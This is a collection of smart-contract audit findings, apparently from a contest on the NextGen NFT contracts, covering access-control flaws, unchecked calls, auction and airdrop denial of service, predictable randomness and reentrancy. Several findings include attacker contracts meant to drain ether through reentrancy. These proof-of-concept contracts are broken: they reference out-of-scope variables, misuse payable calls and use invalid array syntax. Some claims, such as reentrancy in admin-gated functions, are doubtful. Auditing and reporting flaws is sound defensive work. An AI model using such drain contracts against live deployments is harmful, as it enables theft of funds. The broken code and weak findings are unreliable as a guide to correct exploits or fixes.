Tools Used
Manual review
Recommended Mitigation Steps
- Update
registerAdmin
to use aOnlyGlobalAdmin
modifier that requiresmsg.sender
to already be a global admin:
modifier OnlyGlobalAdmin() {
require(adminPermissions[msg.sender] == true, "Must be global admin");
_;
}
function registerAdmin(address _admin, bool _status) public OnlyGlobalAdmin {
// ...
}
- Revoke any incorrectly granted admin permissions.
Assessed type
Access Control
[M-14] Return value of low level call not checked in MinterContract
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L464
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L461-L466
Vulnerability details
Impact
The return value of low level call is not checked.
If the msg.sender is a contract and its receive() function has the potential to revert, the code payable(admin).call{value: balance}(""); could potentially return a false result, which is not being verified. As a result, the calling functions may exit without successfully returning ethers to senders.
The emergencyWithdraw function does not check the return value of low-level calls.
This can lock Ether in the contract if the call fails or may compromise the contract if the ownership is being changed.
The following call was detected without return value validations in the emergencyWithdraw function.
(bool success, ) = payable(admin).call{value: balance}("");
Proof of Concept
Vulnerable emergencyWithdraw function
// Ln 461-466
function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
uint balance = address(this).balance;
address admin = adminsContract.owner();
(bool success, ) = payable(admin).call{value: balance}("");
emit Withdraw(msg.sender, success, balance);
}
Vulnerable code snippet
// Ln 464
(bool success, ) = payable(admin).call{value: balance}("");
Exploit low level call on emergencyWithdraw function
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./MinterContract.sol";
contract tMinterContract {
MinterContract public x1;
constructor(MinterContract _x1) {
x1 = MinterContract(_x1);
}
function testLowCal() public payable {
x1.emergencyWithdraw{value: 3 ether}();
}
receive() external payable {}
}
Tools Used
VS Code.
Recommended Mitigation Steps
It's recommended to check the return value to be true or just use OpenZeppelin Address library sendValue() function for ether transfer.
See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.9.3/contracts/utils/Address.sol#L64 .
Ensure return value is checked using conditional statements for low-level calls.
Conditional statements like require()
.
Assessed type
call/delegatecall
QA Report
See the markdown file with the details of this report here.
Gas Optimizations
See the markdown file with the details of this report here.
DoS - Highest bidder unable to claim NFT
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116
Vulnerability details
Impact
When DemoAuction
has been finished the winner should call the claimAuction()
function to claim NFT. In a loop, the highest bidder is detected and for the rest, their Bids are returned.
Consider a DoS attack, where a malicious smart contract bidder that made a small Bid in the beginning (1 wei) could refuse to get their Bid back by reverting inside the receive()
function of the smart contract. In that case, it's not possible for the highest Bidder to claim the NFT because claimAuction()
always reverts.
Proof of Concept
- https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L110-L118
- https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116
Tools Used
Manual review.
Recommended Mitigation Steps
Don't return ETH from bids in a loop. Individual non-winning bidder can claim their ETH back by calling cancelBid()
.
Assessed type
DoS
NextGenRandomizerNXT generates the same token hash
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerNXT.sol#L55
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/XRandoms.sol#L35
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/XRandoms.sol#L40
Vulnerability details
Impact
It's crucial to have a distinct token hash for each NFT because artists may rely on the token hash as the source of randomness to produce a unique item of art.
Yet it doesn't happen for the same block and same _mintIndex
when NextGenRandomizerNXT
is used as a Randomizer.
function calculateTokenHash(uint256 _collectionID, uint256 _mintIndex, uint256 _saltfun_o) public {
require(msg.sender == gencore);
bytes32 hash = keccak256(abi.encodePacked(_mintIndex, blockhash(block.number - 1), randoms.randomNumber(), randoms.randomWord()));
gencoreContract.setTokenHash(_collectionID, _mintIndex, hash);
}
Similarly, both randoms.randomNumber()
and randoms.randomWord()
output same words and numbers for the same block number (block.prevrandao
, block.number
, block.timestamp
are the same for all txs in the block).
function randomNumber() public view returns (uint256){
uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 1000;
return randomNum;
}
function randomWord() public view returns (string memory) {
uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 100;
return getWord(randomNum);
}
If we look inside MinterContract.airDropTokens()
, the value of mintIndex
is the same for many NFTs.
uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID);
gencore.airDropTokens(mintIndex, _recipients[y], _tokenData[y], _saltfun_o[y], _collectionID);
Further gencore.airDropTokens()
calls _mintProcessing()
which subsequently calls NextGenRandomizerNXT.calculateTokenHash().
As a result, all NFTs in the aidrop will have the same token hash.
Proof of Concept
- https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerNXT.sol#L55
- https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/XRandoms.sol#L35
- https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/XRandoms.sol#L40
Tools Used
Manual review.
Recommended Mitigation Steps
NextGenRandomizerNXT
shouldn't use XRandoms
.
Assessed type
Other
Function admins can bypass collection admin roles, potentially leading to unauthorized access in NextGenCore contract.
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L123-L126
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L124
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L147
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L123-L126
Vulnerability details
Vulnerability Details
The CollectionAdminRequired
modifier improperly checks for function admin permissions, allowing any address with function admin access to bypass collection admin roles and call restricted collection functions. This could let malicious actors with function admin access modify sensitive collection data or settings they should not have access to.
The key vulnerability is in the CollectionAdminRequired
modifier in NextGenCore.sol: Link to code
modifier CollectionAdminRequired(uint256 _collectionID, bytes4 _selector) {
require(adminsContract.retrieveCollectionAdmin(msg.sender,_collectionID) == true ||
adminsContract.retrieveFunctionAdmin(msg.sender, _selector) == true ||
adminsContract.retrieveGlobalAdmin(msg.sender) == true,
"Not allowed");
_;
}
This modifier is used to restrict access to collection-specific functions like setCollectionData
, updateCollectionInfo
, etc.
The issue is that it checks retrieveFunctionAdmin
which allows any address that is a function admin for that specific function selector to call it, regardless of their collection admin status.
For example, say Alice is set as a Collection Admin for Collection 1#:
registerCollectionAdmin(1, aliceAddress, true)
This would allow her to call setCollectionData
for Collection 1# since she's an admin.
But if Bob is set as a Function Admin specifically for setCollectionData
:
registerFunctionAdmin(bobAddress, setCollectionDataSelector, true)
Then Bob would also be able to call setCollectionData
for Collection 1#, even though he's not a Collection Admin!
This is because the CollectionAdminRequired
modifier considers function admin status as sufficient permission even though Bob should not have access to that collection.
The impact is that function admins can bypass collection admin roles and improperly access collection functions they should not have rights to.
Proof of Concept
The problem occurs due to the usage of the CollectionAdminRequired
modifier in NextGenCore.sol: Link to code
modifier CollectionAdminRequired(uint256 _collectionID, bytes4 _selector) {
require(adminsContract.retrieveCollectionAdmin(msg.sender,_collectionID) == true ||
adminsContract.retrieveFunctionAdmin(msg.sender, _selector) == true ||
adminsContract.retrieveGlobalAdmin(msg.sender) == true,
"Not allowed");
_;
}
The require
check allows access if msg.sender
is either:
A) Collection Admin
B) Function Admin for that selector
C) Global Admin
The issue is with condition 'B'. By allowing Function Admins, it enables them to bypass the Collection Admin role.
For example, say Alice is added as a Collection Admin for Collection 1#:
registerCollectionAdmin(1, aliceAddress, true)
This would properly restrict access to collection 1# specific functions like setCollectionData
to Alice.
However, if Bob is added as a Function Admin specifically for setCollectionData
:
registerFunctionAdmin(bobAddress, setCollectionDataSelector, true)
Then Bob would still be able to call setCollectionData
for Collection 1# in NextGenCore, even though he is not a Collection Admin.
This is because the CollectionAdminRequired
modifier sees that Bob is a Function Admin for setCollectionData
and allows him access.
But Bob should not have any special privileges for Collection 1#. So this allows him to improperly bypass the Collection Admin role.
Tools Used
Manual
Recommended Mitigation Steps
The CollectionAdminRequired
modifier should check only the collection admin mapping, not the function admin mapping:
modifier CollectionAdminRequired(uint256 _collectionID, bytes4 _selector) {
require(adminsContract.retrieveCollectionAdmin(msg.sender,_collectionID) == true,
"Not allowed");
_;
}
This would ensure only assigned Collection Admins can access collection functions, preventing role bypass.
Assessed type
Access Control
[M-09] Reentrancy in the RandomizerRNG contract
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L61-L64
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L79-L84
Vulnerability details
Impact
The reentrancy vulnerability uses the attack contract to call into the victim contract several times before the victim contract's balance updates.
Hence allowing the attacker to withdraw e.g. 2 ether when they only deposited 1 ether.
Which means double entry counting duplicate withdrawals for only one genuine withdrawal.
Proof of Concept
Vulnerable updateAdminContract function to reentrancy
// Ln 61-64
function updateAdminContract(address _newadminsContract) public FunctionAdminRequired(this.updateAdminContract.selector) {
require(INextGenAdmins(_newadminsContract).isAdminContract() == true, "Contract is not Admin");
adminsContract = INextGenAdmins(_newadminsContract);
}
Vulnerable emergencyWithdraw function to reentrancy
// Ln 79-84
function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
uint balance = address(this).balance;
address admin = adminsContract.owner();
(bool success, ) = payable(admin).call{value: balance}("");
emit Withdraw(msg.sender, success, balance);
}
Exploit Reentrancy
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./RandomizerRNG.sol";
contract tRandomizerRNG {
RandomizerRNG public x1;
constructor(RandomizerRNG _x1) {
x1 = RandomizerRNG(_x1);
}
function testReenEnter() public payable {
x1.updateAdminContract(address(_x1));
x1.emergencyWithdraw{value: 2 ether}();
}
receive() external payable {
msg.sender.transfer(payable(address(_x1)).balance);
}
}
Tools Used
VS Code.
Recommended Mitigation Steps
All functions that are not internal and are making a call should have a reentrancy guard added to them.
Checks-Effects-Interactions should be applied to the functions.
Balance updates should be made at the beginning of the call.
The actual call should be made at the end of the function.
So that the balance is already updated first and reentrancy is not possible.
Assessed type
Reentrancy
[M-05] Dubious type casting in the RandomizerVRF contract
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerVRF.sol#L66
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerVRF.sol#L65-L68
Vulnerability details
Impact
Down data type casting from bytes to bytes32 in Solidity involves converting a larger data type (bytes) to a smaller data type (bytes32).
This is done by taking the first 32 bytes of the larger data type and discarding the rest.
However, this operation can be risky if not handled properly because any data beyond the first 32 bytes is permanently lost.
In the code, this operation is not explicitly performed.
Proof of Concept
The dubious typecast is the conversion from bytes to bytes32 in the fulfillRandomWords function.
Here's a proof of concept (POC) that demonstrates the potential issue:
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
contract POC {
function dubiousTypecast() public pure returns (bytes32) {
uint256[] memory randomWords = new uint256[](3);
randomWords[0] = 1;
randomWords[1] = 2;
randomWords[2] = 3;
uint256 tokenId = 123;
bytes memory packed = abi.encodePacked(randomWords, tokenId);
bytes32 result = bytes32(packed); // Dubious typecast
return result;
}
}
In this POC, randomWords is an array of uint256 and tokenId is a uint256.
They are packed together into a bytes variable using abi.encodePacked.
Then, a dubious typecast is performed to convert the bytes variable to bytes32.
The issue here is that bytes can be of any length, but bytes32 is always 32 bytes long.
If the bytes variable is longer than 32 bytes, the conversion will truncate the data, leading to loss of information.
If the bytes variable is shorter than 32 bytes, the conversion will pad the data with zeros, which might not be the intended behavior.
In the context of the NextGenRandomizerVRF contract, this dubious typecast could lead to incorrect token hashes being set in the gencoreContract, which could have serious implications depending on how these hashes are used in the rest of the contract.
Locations
Dubious typecast in NextGenRandomizerVRF.fulfillRandomWords(uint256,uint256[]) (smart-contracts/RandomizerVRF.sol#65-68):
bytes => bytes32 casting occurs in gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]],requestToToken[_requestId],bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId]))) (smart-contracts/RandomizerVRF.sol#66)
Vulnerable fulfillRandomWords function
// Ln 65-68
function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override {
gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId])));
emit RequestFulfilled(_requestId, _randomWords);
}
// Ln 66
gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId])));
Tools Used
VS Code.
Recommended Mitigation Steps
Use clear constants.
Assessed type
Invalid Validation
DoS - Airdrop fails due to one recipient reverts
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L181-L191
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L231
Vulnerability details
Impact
The airDropTokens()
functions of MinterContract
accepts an array of recipients in the _recipients
parameter for the aidrop.
It calls gencore.airDropTokens()
inside and further calls _mintProcessing()
. In turn _mintProcessing()
calls _safeMint()
.
_safeMints()
invokes a callback for the NFT receiver.
Consider one smart contract NFT recipients may maliciously revert. Therefore, the whole airdrop MinterContract.airDropTokens()
call fails.
Proof of Concept
- https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L181-L191
- https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L231
- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L314
Tools Used
Manual review.
Recommended Mitigation Steps
Inside airDropTokens()
functions of MinterContract
surround gencore.airDropTokens()
with try/catch block, so the whole airdrop succeeds even if few malicious recipients revert.
Assessed type
DoS
`tokenHash` is not truly random - possibility of predictably minting a specific tokenHash
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerNXT.sol#L55
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/XRandoms.sol#L36
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/XRandoms.sol#L41
Vulnerability details
Impact
An attacker can predict if a specific tokenHash is going to be minted and therefore decide to either participate or not in the minting process.
Proof of Concept
the hash token is generated using the following function:
function calculateTokenHash(uint256 _collectionID, uint256 _mintIndex, uint256 _saltfun_o) public {
require(msg.sender == gencore);
bytes32 hash = keccak256(abi.encodePacked(_mintIndex, blockhash(block.number - 1), randoms.randomNumber(), randoms.randomWord()));
gencoreContract.setTokenHash(_collectionID, _mintIndex, hash);
}
also the randomNumber
and randomWord
used in the hash generation are generated using the following function:
function randomNumber() public view returns (uint256){
uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 1000;
return randomNum;
}
function randomWord() public view returns (string memory) {
uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 100;
return getWord(randomNum);
}
all the elements in this 3 functions:
- block.prevrandao : is known
- block.number: is known
- blochash: is known
- block.timestamp: is known
Therefore, if a collection uses the RandomizerNXT
then an attacker can target specific tokens and only participate to a mint when they will be minted.
here is a reference to more details about this issue: https://media.dedaub.com/bad-randomness-is-even-dicier-than-you-think-7fa2c6e0c2cd
Tools Used
Manual
Recommended Mitigation Steps
it is prefered to use RandomizerVRF
or RandomizerRNG
to generate the hashs.
Assessed type
Other
NextGenAdmins should use Ownable2Step and disallow ownership transfer
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenAdmins.sol#L15
Vulnerability details
Impact
The onwer of the NextGenAdmins
plays a cruial role for the protocol. Therefore, an extra care should be taken when transferring the ownership, or there is a chance to accidentially renounce the ownership.
NextGenAdmins
should implement 2-step ownership transfer and should prohibit ownership renouncement.
Proof of Concept
Tools Used
Manual review.
Recommended Mitigation Steps
Use Ownable2Step
instead of Ownable
. Override the renounceOwnership()
function, it should revert.
Assessed type
Access Control
[M-08] Reentrancy in the AuctionDemo contract
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L104-L120
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L124-L130
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L134-L143
Vulnerability details
Impact
The reentrancy vulnerability uses the attack contract to call into the victim contract several times before the victim contract's balance updates.
Hence allowing the attacker to withdraw e.g. 2 ether when they only deposited 1 ether.
Which means double entry counting duplicate withdrawals for only one genuine withdrawal.
Proof of Concept
Vulnerable claimAuction function to reentrancy
// Ln 104-120
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
auctionClaim[_tokenid] = true;
uint256 highestBid = returnHighestBid(_tokenid);
address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
address highestBidder = returnHighestBidder(_tokenid);
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
(bool success, ) = payable(owner()).call{value: highestBid}("");
emit ClaimAuction(owner(), _tokenid, success, highestBid);
} else if (auctionInfoData[_tokenid][i].status == true) {
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
} else {}
}
}
Vulnerable cancelBid function to reentrancy
// Ln 124-130
function cancelBid(uint256 _tokenid, uint256 index) public {
require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
auctionInfoData[_tokenid][index].status = false;
(bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
}
Vulnerable cancelAllBids function to reentrancy
// Ln 134-143
function cancelAllBids(uint256 _tokenid) public {
require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
auctionInfoData[_tokenid][i].status = false;
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid);
} else {}
}
}
Exploit Reentrancy
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./AuctionDemo.sol";
contract tAuctionDemo {
AuctionDemo public x1;
constructor(AuctionDemo _x1) {
x1 = AuctionDemo(_x1);
}
function testReen() public payable {
x1.claimAuction{value: 2 ether}(uint256(24));
x1.cancelBid{value: 2 ether}(uint256(24), uint256(1));
x1.cancelAllBids{value: 2 ether}(uint256(24));
}
receive() external payable {
msg.sender.transfer(payable(address(_x1)).balance);
}
}
Tools Used
VS Code.
Recommended Mitigation Steps
All functions that are not internal and are making a call should have a reentrancy guard added to them.
Checks-Effects-Interactions should be applied to the functions.
Balance updates should be made at the beginning of the call.
The actual call should be made at the end of the function.
So that the balance is already updated first and reentrancy is not possible.
Assessed type
Reentrancy
QA Report
See the markdown file with the details of this report here.
Flaw in `CollectionAdminRequired` allows function admins to bypass collection roles, risking unauthorized access in NextGenCore.
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L123-L126
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L147
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L123-L126
Vulnerability details
Impact
The CollectionAdminRequired
modifier has a flaw in its implementation. It doesn’t properly check function admin permissions, which means that anyone with function admin access can bypass collection admin roles and call restricted collection functions. This could allow bad actors with function admin access to modify sensitive collection data or settings that they shouldn’t have access to, which could lead to serious security breaches.
Proof of Concept
The CollectionAdminRequired
modifier checks if:
msg.sender
is a Collection Admin- OR a Function Admin for that function selector
- OR a Global Admin
If so, it allows the function call.
The issue is that it checks for function admin status, enabling function admins to bypass collection roles.
For example, Alice is made Collection Admin for Collection 1:
registerCollectionAdmin(1, aliceAddress, true)
Bob is made a Function Admin just for setCollectionData
:
registerFunctionAdmin(bobAddress, setCollectionDataSelector, true)
Even though Bob is not a Collection Admin, he can still call setCollectionData
for Collection 1 because he is a Function Admin.
This allows Bob to improperly bypass Alice's Collection Admin role and modify Collection 1 data.
Tools Used
Manual review
Recommended Mitigation Steps
- Update
CollectionAdminRequired
modifier to check only for collection admin status, not function admin: https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L123-L126
modifier CollectionAdminRequired(uint256 _collectionID, bytes4 _selector) {
require(adminsContract.retrieveCollectionAdmin(msg.sender,_collectionID) == true,
"Not allowed");
_;
}
-
Revoke any incorrect function admin permissions.
-
Consider adding additional checks in sensitive collection functions to validate
msg.sender
is the assigned Collection Admin.
Assessed type
Access Control
QA Report
See the markdown file with the details of this report here.
[M-12] Reentrancy in the MinterContract
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L326-L365
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L415-L444
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L454-L457
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L461-L466
Vulnerability details
Impact
The reentrancy vulnerability uses the attack contract to call into the victim contract several times before the victim contract's balance updates.
Hence allowing the attacker to withdraw e.g. 2 ether when they only deposited 1 ether.
Which means double entry counting duplicate withdrawals for only one genuine withdrawal.
Proof of Concept
Vulnerable burnOrSwapExternalToMint function to reentrancy
// Ln 326-365
function burnOrSwapExternalToMint(address _erc721Collection, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, string memory _tokenData, bytes32[] calldata merkleProof, uint256 _saltfun_o) public payable {
bytes32 externalCol = keccak256(abi.encodePacked(_erc721Collection,_burnCollectionID));
require(burnExternalToMintCollections[externalCol][_mintCollectionID] == true, "Initialize external burn");
require(setMintingCosts[_mintCollectionID] == true, "Set Minting Costs");
address ownerOfToken = IERC721(_erc721Collection).ownerOf(_tokenId);
if (msg.sender != ownerOfToken) {
bool isAllowedToMint;
isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(ownerOfToken, 0x8888888888888888888888888888888888888888, msg.sender, 1) || dmc.retrieveGlobalStatusOfDelegation(ownerOfToken, 0x8888888888888888888888888888888888888888, msg.sender, 2);
if (isAllowedToMint == false) {
isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(ownerOfToken, _erc721Collection, msg.sender, 1) || dmc.retrieveGlobalStatusOfDelegation(ownerOfToken, _erc721Collection, msg.sender, 2);
}
require(isAllowedToMint == true, "No delegation");
}
require(_tokenId >= burnOrSwapIds[externalCol][0] && _tokenId <= burnOrSwapIds[externalCol][1], "Token id does not match");
IERC721(_erc721Collection).safeTransferFrom(ownerOfToken, burnOrSwapAddress[externalCol], _tokenId);
uint256 col = _mintCollectionID;
address mintingAddress;
uint256 phase;
string memory tokData = _tokenData;
if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) {
phase = 1;
bytes32 node;
node = keccak256(abi.encodePacked(_tokenId, tokData));
mintingAddress = ownerOfToken;
require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), 'invalid proof');
} else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
phase = 2;
mintingAddress = ownerOfToken;
tokData = '"public"';
} else {
revert("No minting");
}
uint256 collectionTokenMintIndex;
collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
require(msg.value >= (getPrice(col) * 1), "Wrong ETH");
uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
gencore.mint(mintIndex, mintingAddress, ownerOfToken, tokData, _saltfun_o, col, phase);
collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
}
Vulnerable payArtist function to reentrancy
// 415-444
function payArtist(uint256 _collectionID, address _team1, address _team2, uint256 _teamperc1, uint256 _teamperc2) public FunctionAdminRequired(this.payArtist.selector) {
require(collectionArtistPrimaryAddresses[_collectionID].status == true, "Accept Royalties");
require(collectionTotalAmount[_collectionID] > 0, "Collection Balance must be grater than 0");
require(collectionRoyaltiesPrimarySplits[_collectionID].artistPercentage + _teamperc1 + _teamperc2 == 100, "Change percentages");
uint256 royalties = collectionTotalAmount[_collectionID];
collectionTotalAmount[_collectionID] = 0;
address tm1 = _team1;
address tm2 = _team2;
uint256 colId = _collectionID;
uint256 artistRoyalties1;
uint256 artistRoyalties2;
uint256 artistRoyalties3;
uint256 teamRoyalties1;
uint256 teamRoyalties2;
artistRoyalties1 = royalties * collectionArtistPrimaryAddresses[colId].add1Percentage / 100;
artistRoyalties2 = royalties * collectionArtistPrimaryAddresses[colId].add2Percentage / 100;
artistRoyalties3 = royalties * collectionArtistPrimaryAddresses[colId].add3Percentage / 100;
teamRoyalties1 = royalties * _teamperc1 / 100;
teamRoyalties2 = royalties * _teamperc2 / 100;
(bool success1, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd1).call{value: artistRoyalties1}("");
(bool success2, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd2).call{value: artistRoyalties2}("");
(bool success3, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd3).call{value: artistRoyalties3}("");
(bool success4, ) = payable(tm1).call{value: teamRoyalties1}("");
(bool success5, ) = payable(tm2).call{value: teamRoyalties2}("");
emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd1, success1, artistRoyalties1);
emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd2, success2, artistRoyalties2);
emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd3, success3, artistRoyalties3);
emit PayTeam(tm1, success4, teamRoyalties1);
emit PayTeam(tm2, success5, teamRoyalties2);
}
Vulnerable updateAdminContract function to reentrancy
// 454-457
function updateAdminContract(address _newadminsContract) public FunctionAdminRequired(this.updateAdminContract.selector) {
require(INextGenAdmins(_newadminsContract).isAdminContract() == true, "Contract is not Admin");
adminsContract = INextGenAdmins(_newadminsContract);
}
Vulnerable emergencyWithdraw function to reentrancy
// Ln 461-466
function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
uint balance = address(this).balance;
address admin = adminsContract.owner();
(bool success, ) = payable(admin).call{value: balance}("");
emit Withdraw(msg.sender, success, balance);
}
Exploit Reentrancy
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./MinterContract.sol";
contract tMinterContract {
MinterContract public x1;
constructor(MinterContract _x1) {
x1 = MinterContract(_x1);
}
function testRenterD() public payable {
string memory tokenData = string("0x1e18");
bytes32[] calldata merkleProof = new bytes32[1]();
merkleProof[0] = bytes32(0x3);
x1.burnOrSwapExternalToMint(address(_x1),
uint256(2),
uint256(24),
uint256(34),
tokenData,
merkleProof,
uint256(7));
x1.payArtist{value: 2 ether}(uint256(24),
address(_x1),
address(_x1),
uint256(10),
uint256(20));
x1.updateAdminContract(address(_x1));
x1.emergencyWithdraw{value: 2 ether}();
}
receive() external payable {
msg.sender.transfer(payable(address(_x1)).balance);
}
}
Tools Used
VS Code.
Recommended Mitigation Steps
All functions that are not internal and are making a call should have a reentrancy guard added to them.
Checks-Effects-Interactions should be applied to the functions.
Balance updates should be made at the beginning of the call.
The actual call should be made at the end of the function.
So that the balance is already updated first and reentrancy is not possible.
Assessed type
Reentrancy
Gas Optimizations
